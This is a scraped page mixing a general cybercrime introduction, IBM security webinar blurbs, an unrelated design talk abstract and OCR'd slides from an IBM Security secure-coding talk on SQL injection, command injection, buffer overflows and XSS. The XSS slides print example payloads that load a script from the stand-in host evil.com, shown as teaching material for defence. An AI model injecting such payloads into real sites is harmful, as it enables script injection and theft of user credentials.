Introduction
What is Cyber Crime?
Computer crime, or cybercrime, is crime that involves a computer and a network. The computer may have been used in the commission of a crime, or it may be the target.
What is Cyber Security?
C
yber security, also known as computer security or IT security, is the protection of information systems from theft or damage to the hardware, the software, and to the information on them, as well as from disruption or misdirection of the services they provide. It includes controlling physical access to the hardware, as well as protecting against harm that may come via network access, data and code injection and due to malpractice by operators,whether intentional, accidental, or due to them being tricked into deviating from secure procedures.
The field is of growing importance due to the increasing reliance on computer systems in most societies and the growth of "smart" devices,including smartphones, televisions and tiny devices as part of the Internet of Things – and of the Internet and wireless network such as Bluetooth and Wi-Fi.
Some organizations are turning to big data platforms, such as Apache Hadoop, to extend data accessibility and machine learning to detect advanced persistent threats.
Vulnerabilities and Attacks
Vulnerability is a system susceptibility or flaw, and much vulnerability are documented in the Common Vulnerabilities and Exposures (CVE) database and vulnerability management is the cyclical practice of identifying, classifying, remediating, and mitigating vulnerabilities as they are discovered.
An exploitable vulnerability is one for which at least one working attack or "exploit" exists.
To secure a computer system, it is important to understand the attacks that can be made against it, and these threats can typically be classified into one of the categories below.

Expand Your Control of Access to IBM i Systems and DataPrecisely
Controlling all the ways your company’s data is being accessed, especially given the proliferation of open source software and other non-traditional data-access methods, is critical to ensuring security and regulatory compliance. This webinar reviews the different ways your data can be accessed, discusses how exit points work and how they can be managed, and why a global data access control strategy is especially important to efficiently protect sensitive data against unwanted access.
Topics include:
• IBM i access methods and risks
• Using exit programs to block traditional and modern access methods
• Real life examples and perspectives
Controlling Access to IBM i Systems and DataPrecisely
Security best practice and regulations such as SOX, HIPAA, GDPR and others require you to restrict access to your critical IBM i systems and their data, but this is easier said than done. Legacy, proprietary access protocols now co-exist with new, open-source protocols to create access control headaches.
View this webcast on-demand for an in-depth discussion of IBM i access points that must be secured and how exit points can be leveraged to accomplish the task. We’ll cover:
• Securing network access and communication ports
• How database access via open-source protocols can be secured
• Taking control of command execution
The ever-escalating threats to your business posed by ransomware and all forms of malware cannot be ignored. Cyber-criminals are employing every technology and tactic available to defeat your security systems and then go completely unnoticed as they systematically penetrate and catalog your systems and data to methodically prepare for a coordinated, carefully orchestrated, multipronged attack. The IBM i can be a rich target of valuable data for these bad actors.
Malware attacks are active, not static. Traditional automated scanning, alerting and remediation practices are no longer enough. Instead, the focus needs to be upon securing critical assets and data stores using a multi-layered defensive approach. In practical terms, this means employing every possible security tool and tactic available, in a coordinated, programmatic way.
Join us for this on-demand webinar to better understand:
o The risks of relying on an “identify and remediate” approach to malware
o A different approach to more effectively prevent malware
o How a multi-layered security strategy can protect IBM i from malware threats

View this presentation and watch the corresponding webinar to help you determine whether your organization is ready to move to IDaaS.
Orchestrate Your Security Defenses to Optimize the Impact of Threat IntelligenceIBM Security
Although the majority of organizations subscribe to threat intelligence feeds to enhance their security decision making, it's difficult to take full advantage of true insights due to the overwhelming amounts of information available. Even with an integrated security operations portfolio to identify and respond to threats, many companies don't take full advantage of the benefits of external context that threat intelligence brings to identify true indicators of compromise. By taking advantage of both machine- and human-generated indicators within a collaborative threat intelligence platform, security analysts can streamline investigations and speed the time to action.
Join this webinar to hear from the IBM Security Chief Technology Officer for Threat Intelligence to learn:
How the IBM Security Operations and Response architecture can help you identify and response to threats faster
Why threat intelligence is a fundamental component of security investigations

Elevating Tactical DDD Patterns Through Object CalisthenicsDorra BARTAGUIZ
After immersing yourself in the blue book and its red counterpart, attending DDD-focused conferences, and applying tactical patterns, you're left with a crucial question: How do I ensure my design is effective? Tactical patterns within Domain-Driven Design (DDD) serve as guiding principles for creating clear and manageable domain models. However, achieving success with these patterns requires additional guidance. Interestingly, we've observed that a set of constraints initially designed for training purposes remarkably aligns with effective pattern implementation, offering a more ‘mechanical’ approach. Let's explore together how Object Calisthenics can elevate the design of your tactical DDD patterns, offering concrete help for those venturing into DDD for the first time!

3. 3 IBM Security
Functionality vs. Security
• As developers we want to create
highly functional software unrestricted
by the constraints of compliance
standards and tedious business
processes.
• Product security is incorrectly
perceived to be a burden on agile
software development.
• Security measures are often an
afterthought. Something you have to
do not something you want to do.

4. 4 IBM Security
Developing Secure and Highly Functional Products is Possible
• If done early in the development
lifecycle security is not hard or costly
or conflicting with functionality.
• This can be achieved by educating
developers about threats.

Meet The Hackers Who Sell Spies The Tools To Crack Your PC
Vupen’s chief executive and lead hacker,
Chaouki Bekrar, says his company never
had any intention of telling Google its secret
techniques—certainly not for $60,000 in
chump change.”
ANDY GREENBERG, FORBES
The Security Vulnerability Business
• VUPEN – specializing in selling zero-days to the highest bidder
• Refused Pwn2Own $60k prize because the zero day was worth more undisclosed
7. 7 IBM Security
Bug Poaching
• As uncovered recently by IBM X-Force, web application flaws used in
Ransomware style attacks.
• 30 enterprise organizations targeted last year.
• Attackers find and exploit website vulnerabilities.
• SQL Injection main method of attack.
• Once they obtain sensitive data attackers store it on a cloud service
• An email is sent to the organization that links to the data as proof that the
attacker has penetrated the network.
• Attackers ask for large payments, $30k+ to reveal the flaws
8. 8 IBM Security
Types of Hackers
• White-hat hackers
̶ abide by the rules of responsible disclosure
̶ notify companies about vulnerabilities before making them public
̶ they don’t require any other reward than recognition for identifying the issue
̶ also referred to as ethical hackers
• Gray-hat hackers
̶ operate at the boundary of the law
̶ may be selling zero-day vulnerabilities to the bad guys or governments
• Black-hat hackers
̶ they are the cybercriminals
̶ use zero-days to break into systems and steal data.
9. 9 IBM Security
What would a Hacker do?
• Understanding common programming flaws can help developers
prevent security issues
• Getting into the hacker mindset allows identifying abuse cases
• Implement software defenses while the software is written,
reducing cost and potentially avoiding thousands of dollars in
damages
• You can cost the black hat and grey hats lots of money because
they won’t have 0-days to sell!

The Top Programming Flaws
• Two highly used lists: OWASP Top 10 and MITRE (SANS) Top 25.
• The MITRE Top 25 focuses on software mistakes.
# CWE Name
1 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
2 CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command
Injection')

The 15 worst data security breaches of the 21st Century
134 million credit cards exposed
through SQL injection to install
spyware on Heartland's data
systems”
TAYLOR ARMERDING, WWW.CSOONLINE.COM
The Worst Data Breach of the 21st Century
• In comparison the OPM hack was 21.5 million records
• In 2012 SQLi responsible for more than half of all data breaches where the attack type has been
disclosed according to IBM X-Force
13. 13 IBM Security
• User input is concatenated into a database query
• Attacker can manipulate the query practically injecting SQL code and altering the functionality of the
application
• Attackers can even execute OS commands
What is the programming flaw?
14. 14 IBM Security
• Java Prepared Statement example, removing the need for concatenation
Preventing SQL Injection with Parameterized Statements
15. 15 IBM Security
• Many user-provided parameters only need to be alphanumeric
• Input Validation whitelisting – alphanumeric by default, special characters by exception
• This reduces the attack surface for many types of attacks not only SQL Injection
• Implement an input validation framework
Adding Input Validation to Prevent Injection

The Famous 0-Day
• The 2014 Shellshock bug affected millions of servers around the world
• It has it’s own logo and Wikipedia article.
18. 18 IBM Security
• The software concatenates or substitutes user input in a shell command.
• The example below is from the recently disclosed “ImageTragik” bug
• The %M part is substituted with a user-provided link. If a graphics file contains a link like this:
• The software executes:
What is the programming flaw?
19. 19 IBM Security
• Use Input Validation
• Use parameterized functions where user input is being passed as parameters rather than one full
command
Preventing Command Injection
Vulnerable Using a Parameterized Function
21. 21 IBM Security
• A contest held during the CanSecWest security conference.
• Payouts topped $500,000 in 2014, with over a dozen new vulnerabilities found in Adobe
Reader, Adobe Flash Player, Internet Explorer 11, Google Chrome and Mozilla Firefox
• Many the zero-days disclosed at Pwn2Own are memory flaws — for example, CVE-
2012-1876, which is a buffer overflow in Internet Explorer, or CVE-2014-1303, a buffer
overflow in Apple Safari.
• Using such a vulnerability gives the attacker complete control over the victim’s machine.
• For these reason memory flaws found in common software are extremely valuable on the
black market.

Using Software Flaws in Cyber Espionage
23. 23 IBM Security
• Buffer Overflow is caused by improper memory management in C/C++ code
• Example simple C program that validates a password
• The code does not perform any validation on the length of the user input and does not bother ensuring
that sufficient memory was allocated to store the data coming from the user
What is the programming flaw?
24. 24 IBM Security
• The table below shows the memory representation for our vulnerable program, where 0 stands for the
null character
• If the user enters more than 16 “A” characters in the verification password, it will override the
information stored at the 0x0111 address
Overflowing the buffer
25. 25 IBM Security
• The attacker could overwrite the section in the memory that holds instructions, causing the execution
of arbitrary code as shown in the simplistic representation below.
Overflowing the program instructions
26. 26 IBM Security
• Use safe functions. For example fgets (…) allows you to limit the size of the input; fgets (userPass,
16, stdin) resolves the problem.
• Ensure that the size of the input matches the size of the allocated memory.
• Avoid employing user input as format string arguments. This can lead to another memory flaw: format
string injection.
• Be careful both when allocating memory and when releasing memory. Use-after-free is another type of
memory flaw where the program keeps a reference to a location of the memory. Data at that location
can be arbitrarily modified.
• Use safe compiler flags. Such flags enable operating system defenses that make the insertion of
arbitrary commands very difficult. For example, Address Space Layout Randomization is a Windows
protection mechanism.
Protecting From Memory Attacks
28. 28 IBM Security
Earlier today we were informed of a
malicious site that was spreading links to
StalkDaily.com on Twitter without user
consent via a cross-site scripting
vulnerability.”
TWITTER COMMUNIQUE, APR 11,2009
The XSS Worm
• Malicious Cross-Site Scripting (XSS) script would spread itself from user to user by modifying
each user’s profile
• Other social networking sites notably affected by XSS worms. Samy worm affected 1 million
MySpace users in 2005
• Attack also commonly used to spoof websites and steal passwords. Major online retailers
targeted.
29. 29 IBM Security
• XSS occurs when the web page inserts user input in an unsafe context
• Example unsafe contexts
̶ During server side page generation:
User name: <%=request.getParameter(“userName”)%>
User name: <script src=“https://evil.com/attack.js”></script>
̶ During server side page generation in a JavaScript attribute:
<body onload=“loadProfile(<%=request.getParameter(‘userid’)%>’’)”>
<body onload=“loadProfile(1);eval("var
a=document.createElement("script");a.src="https://evil.com/attack.js";document.bod
y.appendChild(a);")”>
̶ During server side page generation in a JavaScript snippet:
<script>loadProfile(<%=request.getParameter(‘userid’)%></script>”>
̶ Dynamic updates of innerHtml element attribute:
userNameDiv.innerHtml = user.Name;
• Due to the many areas that can be impacted by XSS it is difficult to defend and to miss.
What is the programming flaw?
30. 30 IBM Security
• HtmlEncode user input before introducing it into unsafe context.
• Dynamic page updates should update the innerText / contentText attribute of html nodes
• Enforcing request token checks can prevent reflected cross-site scripting because the page will expire.
It will also prevent
• Use secure headers:
X-XSS-Protection: 1; mode=block – Enforces the browser XSS filter
Content-Security-Policy: script-src ‘self’ – Prevents loading external scripts
